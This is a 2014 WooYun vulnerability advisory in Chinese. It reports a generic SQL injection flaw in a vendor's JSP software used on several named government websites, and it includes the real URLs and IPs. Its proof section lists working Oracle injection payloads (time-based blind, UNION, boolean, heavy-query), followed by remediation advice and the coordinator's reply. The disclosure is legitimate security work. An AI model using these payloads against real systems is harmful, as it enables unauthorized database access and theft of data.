当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059851

漏洞标题:某厂商程序存在通用型SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2014-05-08 08:52

修复时间:2014-08-06 08:56

公开时间:2014-08-06 08:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-08: 细节已通知厂商并且等待厂商处理中
2014-05-11: 厂商已经确认,细节仅向厂商公开
2014-05-14: 细节向第三方安全合作伙伴开放
2014-07-05: 细节向核心白帽子及相关领域专家公开
2014-07-15: 细节向普通白帽子公开
2014-07-25: 细节向实习白帽子公开
2014-08-06: 细节向公众公开

简要描述:

rt

详细说明:

技术支持:浙江建达科技
波及的url列表:
1.http://220.191.210.37/zwdt/qlsx_search.jsp?value=
2.http://220.191.210.37/zwdt/qlsx_search.jsp?curpage=1&type=FX&value=
3.http://122.225.14.156/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=703142&articleId=1559771
4.http://sb.hyshbx.gov.cn/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=703142&articleId=1559771
5.http://ggfw.wxlss.gov.cn/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=617299&articleId=823744
预警:
http://www.jxhrss.gov.cn:8071/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=759966&articleId=24356
http://www.jxhrss.gov.cn:8071/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=759966&articleId=24356

漏洞证明:

1.http://220.191.210.37/zwdt/qlsx_search.jsp?value=

Place: GET
Parameter: value
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: value=%' AND 8085=DBMS_PIPE.RECEIVE_MESSAGE(CHR(73)||CHR(89)||CHR(116)||CHR(81),5) AND '%'='
---
web application technology: JSP
back-end DBMS: Oracle
current user is DBA: True


2.http://220.191.210.37/zwdt/qlsx_search.jsp?curpage=1&type=FX&value=

Place: GET
Parameter: value
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: value=%' AND 8085=DBMS_PIPE.RECEIVE_MESSAGE(CHR(73)||CHR(89)||CHR(116)||CHR(81),5) AND '%'='
---
web application technology: JSP
back-end DBMS: Oracle


3.http://122.225.14.156/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=703142&articleId=1559771

Place: GET
Parameter: catalogId
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: catalogId=-9432 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(99)||CHR(98)||CHR(111)||CHR(113)||CHR(106)||CHR(76)||CHR(116)||CHR(89)||CHR(84)||CHR(76)||CHR(116)||CHR(79)||CHR(112)||CHR(120)||CHR(113)||CHR(121)||CHR(116)||CHR(108)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &articleId=1559771
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: catalogId=703142 AND 5964=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(120)||CHR(77)||CHR(106),5)&articleId=1559771
---
web application technology: JSP
back-end DBMS: Oracle
current user is DBA: True


4.http://sb.hyshbx.gov.cn/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=703142&articleId=1559771

Place: GET
Parameter: catalogId
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: catalogId=-8352 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(121)||CHR(112)||CHR(102)||CHR(113)||CHR(109)||CHR(88)||CHR(81)||CHR(110)||CHR(117)||CHR(109)||CHR(108)||CHR(102)||CHR(109)||CHR(112)||CHR(113)||CHR(104)||CHR(107)||CHR(99)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &articleId=1559771
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: catalogId=703142 AND 8088=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(87)||CHR(115)||CHR(122),5)&articleId=1559771
---
web application technology: JSP
back-end DBMS: Oracle


5.http://ggfw.wxlss.gov.cn/3wr/ps/channel/articleContent/articleContent.jsp?catalogId=617299&articleId=823744

Place: GET
Parameter: catalogId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catalogId=617299 AND 9529=9529&articleId=823744
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: catalogId=-5840 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(104)||CHR(110)||CHR(122)||CHR(113)||CHR(78)||CHR(112)||CHR(89)||CHR(83)||CHR(82)||CHR(85)||CHR(114)||CHR(110)||CHR(114)||CHR(122)||CHR(113)||CHR(117)||CHR(104)||CHR(113)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &articleId=823744
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: catalogId=617299 AND 5320=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)&articleId=823744
---
web application technology: JSP
back-end DBMS: Oracle

修复方案:

数字型参数catalogId,articleId
修复方案为:在接收参数catalogId,articleId时,对其进行强制整型转换即可。
以id参数为例,
int id= Integer.parseInt("id") ;//对id整型转换后再进行下一步的数据库查询更安全
字符型参数value
修复方案为:在接收参数value时,对其进行白名单限制。
例如,我先定value值只为我们设定的数组中的几个值。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-05-11 20:39

厂商回复:

CNVD确认并复现所述情况,已通过公开联系渠道向软件生产厂商浙江建达科技股份有限公司戴先生通报处置,同时将涉及案例下发分中心。

最新状态:

暂无


漏洞评价:

评论